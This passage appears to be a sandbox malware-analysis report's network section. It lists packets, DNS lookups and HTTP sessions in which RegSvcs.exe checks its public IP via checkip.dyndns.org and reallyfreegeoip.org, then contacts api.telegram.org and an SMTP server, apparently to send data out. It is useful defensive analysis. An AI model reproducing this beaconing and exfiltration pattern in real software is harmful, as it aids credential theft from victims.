Oct 9, 2024 14:45:25.266294003 CEST	80	49726	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:25.887968063 CEST	80	49726	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:25.889184952 CEST	49729	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:25.889224052 CEST	443	49729	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:25.889380932 CEST	49729	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:25.889624119 CEST	49729	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:25.889637947 CEST	443	49729	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:25.941515923 CEST	49726	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:26.349617004 CEST	443	49729	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:26.351357937 CEST	49729	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:26.351403952 CEST	443	49729	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:26.486605883 CEST	443	49729	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:26.486706018 CEST	443	49729	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:26.486792088 CEST	49729	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:26.487353086 CEST	49729	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:26.490365982 CEST	49726	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:26.491432905 CEST	49731	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:26.496484041 CEST	80	49731	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:26.496593952 CEST	49731	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:26.496649981 CEST	49731	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:26.497354031 CEST	80	49726	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:26.497407913 CEST	49726	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:26.501930952 CEST	80	49731	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:27.128807068 CEST	80	49731	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:27.129280090 CEST	49731	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:27.130101919 CEST	49733	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:27.130143881 CEST	443	49733	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:27.130220890 CEST	49733	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:27.130624056 CEST	49733	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:27.130639076 CEST	443	49733	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:27.134676933 CEST	80	49731	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:27.134741068 CEST	49731	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:27.590748072 CEST	443	49733	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:27.599278927 CEST	49733	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:27.599294901 CEST	443	49733	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:27.724653959 CEST	443	49733	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:27.724756002 CEST	443	49733	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:27.724837065 CEST	49733	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:27.750072956 CEST	49733	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:27.939248085 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:27.939274073 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:27.939409971 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:27.947683096 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:27.947695971 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:29.569412947 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:29.569504023 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:29.573570967 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:29.573577881 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:29.573832989 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:29.582921982 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:29.627402067 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:29.818815947 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:29.818881989 CEST	443	49735	149.154.167.220	192.168.2.12
Oct 9, 2024 14:45:29.818994999 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:29.832639933 CEST	49735	443	192.168.2.12	149.154.167.220
Oct 9, 2024 14:45:35.641568899 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:35.646461964 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:35.646549940 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:36.786866903 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:36.787121058 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:36.793821096 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.050111055 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.050338984 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:37.055672884 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.352309942 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.352874994 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:37.357846022 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.629070997 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.629621029 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.629710913 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:37.631726027 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:37.638169050 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.898633957 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:37.921444893 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:37.926356077 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:38.328382015 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:38.329159021 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:38.333893061 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:38.592576027 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:38.592941046 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:38.598397017 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:38.869231939 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:38.869649887 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:38.874509096 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.132128000 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.132411957 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:39.137192011 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.658699989 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.658951998 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:39.667295933 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.992367983 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.993417025 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:39.993488073 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:39.993519068 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:39.993542910 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:39.998348951 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.998366117 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.998380899 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:39.998466969 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:40.440579891 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:40.488428116 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:41.943928957 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:41.948906898 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:42.626591921 CEST	587	49736	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:42.627096891 CEST	49736	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:42.628124952 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:42.634257078 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:42.634356976 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:43.868622065 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:43.868843079 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:43.874509096 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.140444994 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.140820980 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:44.145742893 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.415576935 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.416224957 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:44.421142101 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.704081059 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.704107046 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.704132080 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.704262972 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:44.706307888 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:44.711165905 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.975028038 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:44.978954077 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:44.983795881 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:45.247931957 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:45.255012035 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:45.259948969 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:45.526326895 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:45.526587009 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:45.531549931 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:45.810492039 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:45.810739040 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:45.815892935 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.080734968 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.081345081 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:46.086329937 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.435252905 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.435556889 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:46.440668106 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.706062078 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.706389904 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:46.706485033 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:46.706485033 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:46.706525087 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:45:46.711787939 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.711808920 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.711838961 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.711852074 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:46.711864948 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:47.153527021 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:45:47.207187891 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:47:22.067414045 CEST	49737	587	192.168.2.12	46.151.208.21
Oct 9, 2024 14:47:22.265441895 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:47:22.951688051 CEST	587	49737	46.151.208.21	192.168.2.12
Oct 9, 2024 14:47:22.952564001 CEST	49737	587	192.168.2.12	46.151.208.21

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:45:13.858566999 CEST	52385	53	192.168.2.12	1.1.1.1
Oct 9, 2024 14:45:13.867832899 CEST	53	52385	1.1.1.1	192.168.2.12
Oct 9, 2024 14:45:15.638025999 CEST	63991	53	192.168.2.12	1.1.1.1
Oct 9, 2024 14:45:15.649276018 CEST	53	63991	1.1.1.1	192.168.2.12
Oct 9, 2024 14:45:27.915414095 CEST	55247	53	192.168.2.12	1.1.1.1
Oct 9, 2024 14:45:27.927830935 CEST	53	55247	1.1.1.1	192.168.2.12
Oct 9, 2024 14:45:35.193994045 CEST	58049	53	192.168.2.12	1.1.1.1
Oct 9, 2024 14:45:35.640786886 CEST	53	58049	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 9, 2024 14:45:13.858566999 CEST	192.168.2.12	1.1.1.1	0x9b3b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:15.638025999 CEST	192.168.2.12	1.1.1.1	0x1ca3	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:27.915414095 CEST	192.168.2.12	1.1.1.1	0x4cb5	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:35.193994045 CEST	192.168.2.12	1.1.1.1	0xcc21	Standard query (0)	mail.irco.com.sa	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 9, 2024 14:45:13.867832899 CEST	1.1.1.1	192.168.2.12	0x9b3b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 14:45:13.867832899 CEST	1.1.1.1	192.168.2.12	0x9b3b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:13.867832899 CEST	1.1.1.1	192.168.2.12	0x9b3b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:13.867832899 CEST	1.1.1.1	192.168.2.12	0x9b3b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:13.867832899 CEST	1.1.1.1	192.168.2.12	0x9b3b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:13.867832899 CEST	1.1.1.1	192.168.2.12	0x9b3b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:15.649276018 CEST	1.1.1.1	192.168.2.12	0x1ca3	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:15.649276018 CEST	1.1.1.1	192.168.2.12	0x1ca3	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:27.927830935 CEST	1.1.1.1	192.168.2.12	0x4cb5	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 9, 2024 14:45:35.640786886 CEST	1.1.1.1	192.168.2.12	0xcc21	No error (0)	mail.irco.com.sa		46.151.208.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49711	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:13.878197908 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 9, 2024 14:45:15.409717083 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2d57bca461442d145069b8f4eb2f6ca1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 9, 2024 14:45:15.410913944 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2d57bca461442d145069b8f4eb2f6ca1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 9, 2024 14:45:15.412327051 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2d57bca461442d145069b8f4eb2f6ca1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 9, 2024 14:45:15.413544893 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 9, 2024 14:45:15.414058924 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2d57bca461442d145069b8f4eb2f6ca1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 9, 2024 14:45:15.602896929 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:15 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c959a6ea0fa47033c615ec7579b8600f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 9, 2024 14:45:16.327049017 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 9, 2024 14:45:16.514153957 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 26d3cbfc4dc7c6545d050669643d01c1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49714	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:17.160048008 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 9, 2024 14:45:17.787153006 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8a62b44ce179146a99294c07a91e4429 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49716	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:19.115308046 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 9, 2024 14:45:19.741142988 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b51af6d77f22a573687fe58e1a7b081c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49718	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:21.421016932 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 9, 2024 14:45:22.046936035 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:21 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 61aeae9b82f9fca8a9e09e496d349936 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49721	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:22.691395998 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 9, 2024 14:45:23.316754103 CEST	320	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:45:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2a247d4f0e79bb3911475c7acaccd55c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49723	193.122.6.168	80	7020	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:45:23.980896950 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
